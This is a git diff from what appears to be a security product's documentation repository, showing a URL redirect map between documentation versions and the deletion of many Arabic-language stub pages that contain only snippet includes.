-/3.6/user-guides/vulnerabilities/analyze-vuln/ /3.6/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/check-vuln/ /3.6/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/close-open-vuln/ /3.6/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/false-vuln/ /3.6/user-guides/vulnerabilities/ -/3.6/user-guides/vulnerabilities/recheck-vuln/ /3.6/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/analyze-vuln/ /4.0/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/check-vuln/ /4.0/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/close-open-vuln/ /4.0/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/false-vuln/ /4.0/user-guides/vulnerabilities/ -/4.0/user-guides/vulnerabilities/recheck-vuln/ /4.0/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/analyze-vuln/ /4.2/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/check-vuln/ /4.2/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/close-open-vuln/ /4.2/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/false-vuln/ /4.2/user-guides/vulnerabilities/ -/4.2/user-guides/vulnerabilities/recheck-vuln/ /4.2/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/analyze-vuln/ /4.4/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/check-vuln/ /4.4/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/close-open-vuln/ /4.4/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/false-vuln/ /4.4/user-guides/vulnerabilities/ -/4.4/user-guides/vulnerabilities/recheck-vuln/ /4.4/user-guides/vulnerabilities/ -/user-guides/vulnerabilities/analyze-vuln/ /user-guides/vulnerabilities/ -/user-guides/vulnerabilities/check-vuln/ /user-guides/vulnerabilities/ -/user-guides/vulnerabilities/close-open-vuln/ /user-guides/vulnerabilities/ -/user-guides/vulnerabilities/false-vuln/ /user-guides/vulnerabilities/ -/user-guides/vulnerabilities/recheck-vuln/ /user-guides/vulnerabilities/ - -/2.18/user-guides/scanner/check-scope/ /2.18/user-guides/scanner/ -/2.18/user-guides/scanner/configure-scanner-modules/ /2.18/user-guides/scanner/ -/2.18/user-guides/scanner/configure-scanner/ /2.18/user-guides/scanner/ -/2.18/user-guides/scanner/intro/ /2.18/user-guides/scanner/ -/2.18/user-guides/scanner/reserved-domains/ /2.18/user-guides/scanner/ -/3.6/user-guides/scanner/check-scope/ /3.6/user-guides/scanner/ -/3.6/user-guides/scanner/configure-scanner-modules/ /3.6/user-guides/scanner/ -/3.6/user-guides/scanner/configure-scanner/ /3.6/user-guides/scanner/ -/3.6/user-guides/scanner/intro/ /3.6/user-guides/scanner/ -/3.6/user-guides/scanner/reserved-domains/ /3.6/user-guides/scanner/ -/4.0/user-guides/scanner/check-scope/ /4.0/user-guides/scanner/ -/4.0/user-guides/scanner/configure-scanner-modules/ /4.0/user-guides/scanner/ -/4.0/user-guides/scanner/configure-scanner/ /4.0/user-guides/scanner/ -/4.0/user-guides/scanner/intro/ /4.0/user-guides/scanner/ -/4.0/user-guides/scanner/reserved-domains/ /4.0/user-guides/scanner/ -/4.2/user-guides/scanner/check-scope/ /4.2/user-guides/scanner/ -/4.2/user-guides/scanner/configure-scanner-modules/ /4.2/user-guides/scanner/ -/4.2/user-guides/scanner/configure-scanner/ /4.2/user-guides/scanner/ -/4.2/user-guides/scanner/intro/ /4.2/user-guides/scanner/ -/4.2/user-guides/scanner/reserved-domains/ /4.2/user-guides/scanner/ -/4.4/user-guides/scanner/check-scope/ /4.4/user-guides/scanner/ -/4.4/user-guides/scanner/configure-scanner-modules/ /4.4/user-guides/scanner/ -/4.4/user-guides/scanner/configure-scanner/ /4.4/user-guides/scanner/ -/4.4/user-guides/scanner/intro/ /4.4/user-guides/scanner/ -/4.4/user-guides/scanner/reserved-domains/ /4.4/user-guides/scanner/ -/user-guides/scanner/check-scope/ /user-guides/scanner/ -/user-guides/scanner/configure-scanner-modules/ /user-guides/scanner/ -/user-guides/scanner/configure-scanner/ /user-guides/scanner/ -/user-guides/scanner/intro/ /user-guides/scanner/ -/user-guides/scanner/reserved-domains/ /user-guides/scanner/ - -/admin-en/admin-intro-en/ /admin-en/supported-platforms/ -/4.4/admin-en/admin-intro-en/ /4.4/admin-en/supported-platforms/ - -/admin-en/configuration-guides/traffic-mirroring/envoy-example/ /installation/oob/web-server-mirroring/overview/#envoy -/admin-en/configuration-guides/traffic-mirroring/istio-example/ /installation/oob/web-server-mirroring/overview/#istio -/admin-en/configuration-guides/traffic-mirroring/nginx-example/ /installation/oob/web-server-mirroring/overview/#nginx -/admin-en/configuration-guides/traffic-mirroring/traefik-example/ /installation/oob/web-server-mirroring/overview/#traefik -/admin-en/configuration-guides/traffic-mirroring/overview/ /installation/oob/web-server-mirroring/overview/ - -/admin-en/installation-nginx-overview/ /admin-en/installation-postanalytics-en/ - -/installation/cloud-platforms/aws/terraform-module/examples/ /installation/cloud-platforms/aws/terraform-module/overview/#trying-wallarm-terraform-module-with-examples - -/admin-en/installation-ami-en/ /installation/cloud-platforms/aws/ami/ -/admin-en/installation-gcp-en/ /installation/cloud-platforms/gcp/machine-image/ - -/admin-en/supported-platforms/ /installation/supported-deployment-options/ -/4.4/admin-en/supported-platforms/ /4.4/installation/supported-deployment-options/ -/4.2/admin-en/supported-platforms/ /4.2/installation/supported-deployment-options/ -/3.6/admin-en/supported-platforms/ /3.6/installation/supported-deployment-options/ -/2.18/admin-en/supported-platforms/ /2.18/installation/supported-deployment-options/ -/ja/admin-en/supported-platforms/ /ja/installation/supported-deployment-options/ -/4.4/ja/admin-en/supported-platforms/ /4.4/ja/installation/supported-deployment-options/ - -/faq/nginx-compatibility/ /installation/custom/custom-nginx-version/ - -/about-wallarm/deployment-best-practices/ /quickstart/attack-prevention-best-practices/ - -/api-firewall/overview/ https://wallarm.github.io/api-firewall/ -/api-firewall/installation-guides/docker-container/ https://wallarm.github.io/api-firewall/installation-guides/docker-container/ -/api-firewall/demos/docker-compose/ https://wallarm.github.io/api-firewall/demos/docker-compose/ -/api-firewall/demos/kubernetes-cluster/ https://wallarm.github.io/api-firewall/demos/kubernetes-cluster/ -/api-firewall/release-notes/ https://wallarm.github.io/api-firewall/release-notes/ - -/admin-en/attack-rechecker-best-practices/ /vulnerability-detection/active-threat-verification/running-test-on-staging/ -/user-guides/rules/change-request-for-active-verification/ /vulnerability-detection/active-threat-verification/modify-requests-before-replay/ -/4.4/admin-en/attack-rechecker-best-practices/ /4.4/vulnerability-detection/active-threat-verification/running-test-on-staging/ -/4.4/user-guides/rules/change-request-for-active-verification/ /4.4/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ -/ja/admin-en/attack-rechecker-best-practices/ /ja/vulnerability-detection/active-threat-verification/running-test-on-staging/ -/ja/user-guides/rules/change-request-for-active-verification/ /ja/vulnerability-detection/active-threat-verification/modify-requests-before-replay/ - -/about-wallarm/api-discovery/ /api-discovery/overview/ -/user-guides/api-discovery/ /api-discovery/exploring/ -/user-guides/api-specifications/ /api-discovery/rogue-api/ -/4.6/about-wallarm/api-discovery/ /4.6/api-discovery/overview/ -/4.6/user-guides/api-discovery/ /4.6/api-discovery/exploring/ -/4.6/user-guides/api-specifications/ /4.6/api-discovery/rogue-api/ - -/quickstart/ /quickstart/getting-started/ -/4.6/quickstart/ /4.6/quickstart/getting-started/ - -/user-guides/settings/subscriptions/ /about-wallarm/subscription-plans/ -/4.6/user-guides/settings/subscriptions/ /4.6/about-wallarm/subscription-plans/ - -/admin-en/scanner-address-us-cloud/ /admin-en/scanner-addresses/ -/admin-en/scanner-address-eu-cloud/ /admin-en/scanner-addresses/ -/4.6/admin-en/scanner-address-us-cloud/ /4.6/admin-en/scanner-addresses/ -/4.6/admin-en/scanner-address-eu-cloud/ /4.6/admin-en/scanner-addresses/ -/4.4/admin-en/scanner-address-us-cloud/ /4.4/admin-en/scanner-addresses/ -/4.4/admin-en/scanner-address-eu-cloud/ /4.4/admin-en/scanner-addresses/ - -/admin-en/scanner-complaint-en/ /user-guides/scanner/#contacting-wallarm-support-to-stop-the-resource-scanner -/4.6/admin-en/scanner-complaint-en/ /4.6/user-guides/scanner/#contacting-wallarm-support-to-stop-the-resource-scanner -/4.4/admin-en/scanner-complaint-en/ /4.4/user-guides/scanner/#contacting-wallarm-support-to-stop-the-resource-scanner - -/user-guides/api-leaks/ /about-wallarm/api-leaks/ -/4.6/user-guides/api-leaks/ /4.6/about-wallarm/api-leaks/ -/4.4/user-guides/api-leaks/ /4.4/about-wallarm/api-leaks/ - -/user-guides/ip-lists/allowlist/ /user-guides/ip-lists/overview/ -/user-guides/ip-lists/graylist/ /user-guides/ip-lists/overview/ -/user-guides/ip-lists/denylist/ /user-guides/ip-lists/overview/ -/user-guides/triggers/trigger-examples/ /user-guides/triggers/triggers/ -/user-guides/triggers/trigger-examples/#detect-weak-jwts /about-wallarm/detecting-vulnerabilities/#weak-jwts-detection -/user-guides/triggers/trigger-examples/#group-hits-originating-from-the-same-ip-into-one-attack /user-guides/events/analyze-attack/#grouping-of-hits -/user-guides/bola-protection/ /admin-en/configuration-guides/protecting-against-bola/ -/4.8/user-guides/ip-lists/allowlist/ /4.8/user-guides/ip-lists/overview/ -/4.8/user-guides/ip-lists/graylist/ /4.8/user-guides/ip-lists/overview/ -/4.8/user-guides/ip-lists/denylist/ /4.8/user-guides/ip-lists/overview/ -/4.8/user-guides/triggers/trigger-examples/ /4.8/user-guides/triggers/triggers/ -/4.8/user-guides/triggers/trigger-examples/#detect-weak-jwts /4.8/about-wallarm/detecting-vulnerabilities/#weak-jwts-detection -/4.8/user-guides/triggers/trigger-examples/#group-hits-originating-from-the-same-ip-into-one-attack /4.8/user-guides/events/analyze-attack/#grouping-of-hits -/4.8/user-guides/bola-protection/ /4.8/admin-en/configuration-guides/protecting-against-bola/ - -/tr/quickstart/getting-started/ /tr/quickstart/ - -/tr/user-guides/events/check-incident/ /tr/user-guides/events/check-attack/ -/tr/api-discovery/overview/ /tr/about-wallarm/api-discovery/ -/tr/api-discovery/setup/ /tr/about-wallarm/api-discovery/ -/tr/api-discovery/exploring/ /tr/user-guides/api-discovery/ -/tr/api-discovery/track-changes/ /tr/about-wallarm/api-discovery/#apideki-degisiklikleri-izleme -/tr/api-discovery/risk-score/ /tr/about-wallarm/api-discovery/#uc-nokta-risk-skoru -/tr/api-discovery/rogue-api/ /tr/about-wallarm/api-discovery/#golge-yetim-ve-zombi-apiler -/tr/api-discovery/bola-protection/ /tr/about-wallarm/api-discovery/#otomatik-bola-korumas -/tr/api-discovery/dashboard/ /tr/user-guides/dashboards/api-discovery/ -/tr/about-wallarm/attack-surface/ /tr/about-wallarm/detecting-vulnerabilities/ -/tr/about-wallarm/waap-overview/ /tr/about-wallarm/overview/ -/tr/admin-en/configuration-guides/protecting-against-forcedbrowsing/ /tr/admin-en/configuration-guides/protecting-against-bruteforce/ -/tr/admin-en/configuration-guides/protecting-with-thresholds/ /tr/user-guides/triggers/trigger-examples/#1-saat-icinde-4-veya-daha-fazla-kotu-niyetli-yuk-alglandgnda-ipyi-reddetme-listesine-ekle -/tr/admin-en/configuration-guides/protecting-against-bola-trigger/ /tr/admin-en/configuration-guides/protecting-against-bola/ -/tr/admin-en/scanner-addresses/ /tr/admin-en/scanner-address-us-cloud/ -/tr/2.18/user-guides/nodes/cloud-node/ /tr/user-guides/nodes/nodes/ -/tr/2.18/user-guides/nodes/regular-node/ /tr/user-guides/nodes/nodes/ -/tr/2.18/admin-en/configure-ip-blocking-nginx-en/ /tr/user-guides/ip-lists/overview/ -/tr/3.6/installation/multi-tenant/configure-accounts/ /installation/multi-tenant/configure-accounts/ -/tr/2.18/admin-en/configure-parameters-en/ /tr/admin-en/configure-parameters-en/ -/tr/2.18/admin-en/configuration-guides/envoy/fine-tuning/ /tr/admin-en/configuration-guides/envoy/fine-tuning/ -/tr/2.18/admin-en/scanner-ips-allowlisting/ /tr/user-guides/ip-lists/overview/ -/tr/2.18/admin-en/installation-guides/kubernetes/wallarm-sidecar-container-helm/ /tr/installation/kubernetes/sidecar-proxy/deployment/ -/tr/2.18/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/allowlist-wallarm-ip-addresses/ /tr/user-guides/ip-lists/overview/ - -/ja/user-guides/rules/rules/ /ja/user-guides/rules/intro/ -/tr/user-guides/rules/rules/ /tr/user-guides/rules/intro/ -/pt-br/user-guides/rules/rules/ /pt-br/user-guides/rules/intro/ -/ja/4.8/user-guides/rules/rules/ /ja/4.8/user-guides/rules/intro/ -/tr/4.8/user-guides/rules/rules/ /tr/4.8/user-guides/rules/intro/ -/pt-br/4.8/user-guides/rules/rules/ /pt-br/4.8/user-guides/rules/intro/ - -/user-guides/rules/intro/ /user-guides/rules/rules/ -/user-guides/rules/add-rule/ /user-guides/rules/rules/#configuring -/user-guides/rules/view/ /user-guides/rules/rules/#inspecting -/user-guides/rules/compiling/ /user-guides/rules/rules/#ruleset-lifecycle -/user-guides/rules/backup/ /user-guides/rules/rules/#backup-and-restore -/user-guides/rules/disable-request-parsers/ /user-guides/rules/request-processing/#managing-parsers -/user-guides/rules/ignore-attack-types/ /about-wallarm/protecting-against-attacks/#ignoring-certain-attack-types -/user-guides/rules/ignore-attacks-in-binary-data/ /about-wallarm/protecting-against-attacks/#ignoring-certain-attack-signs-in-the-binary-data -/user-guides/rules/wallarm-mode-rule/ /admin-en/configure-wallarm-mode/#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console -/4.8/user-guides/rules/intro/ /4.8/user-guides/rules/rules/ -/4.8/user-guides/rules/add-rule/ /4.8/user-guides/rules/rules/#configuring -/4.8/user-guides/rules/view/ /4.8/user-guides/rules/rules/#inspecting -/4.8/user-guides/rules/compiling/ /4.8/user-guides/rules/rules/#ruleset-lifecycle -/4.8/user-guides/rules/backup/ /4.8/user-guides/rules/rules/#backup-and-restore -/4.8/user-guides/rules/disable-request-parsers/ /4.8/user-guides/rules/request-processing/#managing-parsers -/4.8/user-guides/rules/ignore-attack-types/ /4.8/about-wallarm/protecting-against-attacks/#ignoring-certain-attack-types -/4.8/user-guides/rules/ignore-attacks-in-binary-data/ /4.8/about-wallarm/protecting-against-attacks/#ignoring-certain-attack-signs-in-the-binary-data -/4.8/user-guides/rules/wallarm-mode-rule/ /4.8/admin-en/configure-wallarm-mode/#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console - -/user-guides/settings/general/ /admin-en/configure-wallarm-mode/#setting-up-the-general-filtration-rule-in-wallarm-console -/4.8/user-guides/settings/general/ /4.8/admin-en/configure-wallarm-mode/#setting-up-the-general-filtration-rule-in-wallarm-console -/4.6/user-guides/settings/general/ /4.6/admin-en/configure-wallarm-mode/#setting-up-the-general-filtration-rule-in-wallarm-console - -/user-guides/rules/api-abuse-url/ /api-abuse-prevention/exceptions/#exceptions-for-target-urls-and-specific-requests -/4.8/user-guides/rules/api-abuse-url/ /4.8/api-abuse-prevention/exceptions/#exceptions-for-target-urls-and-specific-requests \ No newline at end of file diff --git a/docs/ar/about-wallarm/api-protection-overview.md b/docs/ar/about-wallarm/api-protection-overview.md deleted file mode 100644 index 169ee6df39..0000000000 --- a/docs/ar/about-wallarm/api-protection-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/about-wallarm/api-protection-overview.md" \ No newline at end of file diff --git a/docs/ar/about-wallarm/credential-stuffing.md b/docs/ar/about-wallarm/credential-stuffing.md deleted file mode 100644 index 6d29ae0a34..0000000000 --- a/docs/ar/about-wallarm/credential-stuffing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/about-wallarm/credential-stuffing.md" \ No newline at end of file diff --git a/docs/ar/about-wallarm/data-retention-policy.md b/docs/ar/about-wallarm/data-retention-policy.md deleted file mode 100644 index 132435ad66..0000000000 --- a/docs/ar/about-wallarm/data-retention-policy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/about-wallarm/data-retention-policy.md" \ No newline at end of file diff --git a/docs/ar/about-wallarm/detecting-vulnerabilities.md b/docs/ar/about-wallarm/detecting-vulnerabilities.md deleted file mode 100644 index 8bba7ce05b..0000000000 --- a/docs/ar/about-wallarm/detecting-vulnerabilities.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/about-wallarm/detecting-vulnerabilities.md" \ No newline at end of file diff --git a/docs/ar/about-wallarm/overview.md b/docs/ar/about-wallarm/overview.md deleted file mode 100644 index feb377562d..0000000000 --- a/docs/ar/about-wallarm/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/about-wallarm/overview.md" \ No newline at end of file diff --git a/docs/ar/about-wallarm/protecting-against-attacks.md b/docs/ar/about-wallarm/protecting-against-attacks.md deleted file mode 100644 index 7379886dab..0000000000 --- a/docs/ar/about-wallarm/protecting-against-attacks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/about-wallarm/protecting-against-attacks.md" \ No newline at end of file diff --git a/docs/ar/about-wallarm/shared-responsibility.md b/docs/ar/about-wallarm/shared-responsibility.md deleted file mode 100644 index 0abc59497e..0000000000 --- a/docs/ar/about-wallarm/shared-responsibility.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/about-wallarm/shared-responsibility.md" \ No newline at end of file diff --git a/docs/ar/about-wallarm/subscription-plans.md b/docs/ar/about-wallarm/subscription-plans.md deleted file mode 100644 index b1a8d1c616..0000000000 --- a/docs/ar/about-wallarm/subscription-plans.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/about-wallarm/subscription-plans.md" diff --git a/docs/ar/about-wallarm/waap-overview.md b/docs/ar/about-wallarm/waap-overview.md deleted file mode 100644 index fff94a82fa..0000000000 --- a/docs/ar/about-wallarm/waap-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/about-wallarm/waap-overview.md" \ No newline at end of file diff --git a/docs/ar/admin-en/apifw-metrics.md b/docs/ar/admin-en/apifw-metrics.md deleted file mode 100644 index 1cdd80af93..0000000000 --- a/docs/ar/admin-en/apifw-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/apifw-metrics.md" \ No newline at end of file diff --git a/docs/ar/admin-en/chaining-wallarm-and-other-ingress-controllers.md b/docs/ar/admin-en/chaining-wallarm-and-other-ingress-controllers.md deleted file mode 100644 index c0d92946d8..0000000000 --- a/docs/ar/admin-en/chaining-wallarm-and-other-ingress-controllers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/chaining-wallarm-and-other-ingress-controllers.md" diff --git a/docs/ar/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md b/docs/ar/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md deleted file mode 100644 index 4f14c997b3..0000000000 --- a/docs/ar/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md" diff --git a/docs/ar/admin-en/configuration-guides/allocate-resources-for-node.md b/docs/ar/admin-en/configuration-guides/allocate-resources-for-node.md deleted file mode 100644 index 5342f1e924..0000000000 --- a/docs/ar/admin-en/configuration-guides/allocate-resources-for-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/allocate-resources-for-node.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/configure-block-page-and-code.md b/docs/ar/admin-en/configuration-guides/configure-block-page-and-code.md deleted file mode 100644 index ae85295495..0000000000 --- a/docs/ar/admin-en/configuration-guides/configure-block-page-and-code.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/configure-block-page-and-code.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/envoy/fine-tuning.md b/docs/ar/admin-en/configuration-guides/envoy/fine-tuning.md deleted file mode 100644 index c94ff1da9f..0000000000 --- a/docs/ar/admin-en/configuration-guides/envoy/fine-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/envoy/fine-tuning.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/handling-invalid-headers.md b/docs/ar/admin-en/configuration-guides/handling-invalid-headers.md deleted file mode 100644 index 606f7bf6b9..0000000000 --- a/docs/ar/admin-en/configuration-guides/handling-invalid-headers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/handling-invalid-headers.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/ldap/ldap.md b/docs/ar/admin-en/configuration-guides/ldap/ldap.md deleted file mode 100644 index 962f463d6c..0000000000 --- a/docs/ar/admin-en/configuration-guides/ldap/ldap.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/ldap/ldap.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/protecting-against-bola-trigger.md b/docs/ar/admin-en/configuration-guides/protecting-against-bola-trigger.md deleted file mode 100644 index cd1ce4f329..0000000000 --- a/docs/ar/admin-en/configuration-guides/protecting-against-bola-trigger.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/protecting-against-bola-trigger.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/protecting-against-bola.md b/docs/ar/admin-en/configuration-guides/protecting-against-bola.md deleted file mode 100644 index 6a3f191df3..0000000000 --- a/docs/ar/admin-en/configuration-guides/protecting-against-bola.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/protecting-against-bola.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/protecting-against-bruteforce.md b/docs/ar/admin-en/configuration-guides/protecting-against-bruteforce.md deleted file mode 100644 index 714620337f..0000000000 --- a/docs/ar/admin-en/configuration-guides/protecting-against-bruteforce.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/protecting-against-bruteforce.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/protecting-against-ddos.md b/docs/ar/admin-en/configuration-guides/protecting-against-ddos.md deleted file mode 100644 index 74558458db..0000000000 --- a/docs/ar/admin-en/configuration-guides/protecting-against-ddos.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/protecting-against-ddos.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/protecting-against-forcedbrowsing.md b/docs/ar/admin-en/configuration-guides/protecting-against-forcedbrowsing.md deleted file mode 100644 index a1636dcd7e..0000000000 --- a/docs/ar/admin-en/configuration-guides/protecting-against-forcedbrowsing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/protecting-against-forcedbrowsing.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/protecting-with-thresholds.md b/docs/ar/admin-en/configuration-guides/protecting-with-thresholds.md deleted file mode 100644 index ca9875631a..0000000000 --- a/docs/ar/admin-en/configuration-guides/protecting-with-thresholds.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/protecting-with-thresholds.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/sso/intro.md b/docs/ar/admin-en/configuration-guides/sso/intro.md deleted file mode 100644 index 26027b16c0..0000000000 --- a/docs/ar/admin-en/configuration-guides/sso/intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/intro.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/sso/setup.md b/docs/ar/admin-en/configuration-guides/sso/setup.md deleted file mode 100644 index c7312fc0ef..0000000000 --- a/docs/ar/admin-en/configuration-guides/sso/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/setup.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/sso/sso-gsuite.md b/docs/ar/admin-en/configuration-guides/sso/sso-gsuite.md deleted file mode 100644 index 498ac5ac64..0000000000 --- a/docs/ar/admin-en/configuration-guides/sso/sso-gsuite.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/sso-gsuite.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/sso/sso-okta.md b/docs/ar/admin-en/configuration-guides/sso/sso-okta.md deleted file mode 100644 index 7644c99038..0000000000 --- a/docs/ar/admin-en/configuration-guides/sso/sso-okta.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/sso-okta.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/sso/troubleshooting.md b/docs/ar/admin-en/configuration-guides/sso/troubleshooting.md deleted file mode 100644 index 73abb9893d..0000000000 --- a/docs/ar/admin-en/configuration-guides/sso/troubleshooting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/configuration-guides/sso/troubleshooting.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md b/docs/ar/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md deleted file mode 100644 index aba35ff297..0000000000 --- a/docs/ar/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/wallarm-in-separated-environments/configure-wallarm-in-separated-environments.md" diff --git a/docs/ar/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md b/docs/ar/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md deleted file mode 100644 index 16041ad545..0000000000 --- a/docs/ar/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/wallarm-in-separated-environments/how-wallarm-in-separated-environments-works.md" diff --git a/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md b/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md deleted file mode 100644 index 19aa66f344..0000000000 --- a/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md" diff --git a/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md b/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md deleted file mode 100644 index 60dbc02de4..0000000000 --- a/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md" diff --git a/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md b/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md deleted file mode 100644 index f07c989706..0000000000 --- a/docs/ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md" diff --git a/docs/ar/admin-en/configure-access-to-files-needed-for-node.md b/docs/ar/admin-en/configure-access-to-files-needed-for-node.md deleted file mode 100644 index b6d2f3d135..0000000000 --- a/docs/ar/admin-en/configure-access-to-files-needed-for-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-access-to-files-needed-for-node.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configure-backup-en.md b/docs/ar/admin-en/configure-backup-en.md deleted file mode 100644 index 219f017d36..0000000000 --- a/docs/ar/admin-en/configure-backup-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-backup-en.md" diff --git a/docs/ar/admin-en/configure-cloud-node-synchronization-en.md b/docs/ar/admin-en/configure-cloud-node-synchronization-en.md deleted file mode 100644 index 874898420b..0000000000 --- a/docs/ar/admin-en/configure-cloud-node-synchronization-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-cloud-node-synchronization-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configure-dynamic-dns-resolution-nginx.md b/docs/ar/admin-en/configure-dynamic-dns-resolution-nginx.md deleted file mode 100644 index 80895cfa23..0000000000 --- a/docs/ar/admin-en/configure-dynamic-dns-resolution-nginx.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-dynamic-dns-resolution-nginx.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configure-kubernetes-en.md b/docs/ar/admin-en/configure-kubernetes-en.md deleted file mode 100644 index 13d0ccb521..0000000000 --- a/docs/ar/admin-en/configure-kubernetes-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/admin-en/configure-kubernetes-en.md" \ No newline at end of file diff --git a/docs/ar/admin-en/configure-logging.md b/docs/ar/admin-en/configure-logging.md deleted file mode 100644 index 056c79d561..0000000000 --- a/docs/ar/admin-en/configure-logging.md +++ /dev/null @@ -1 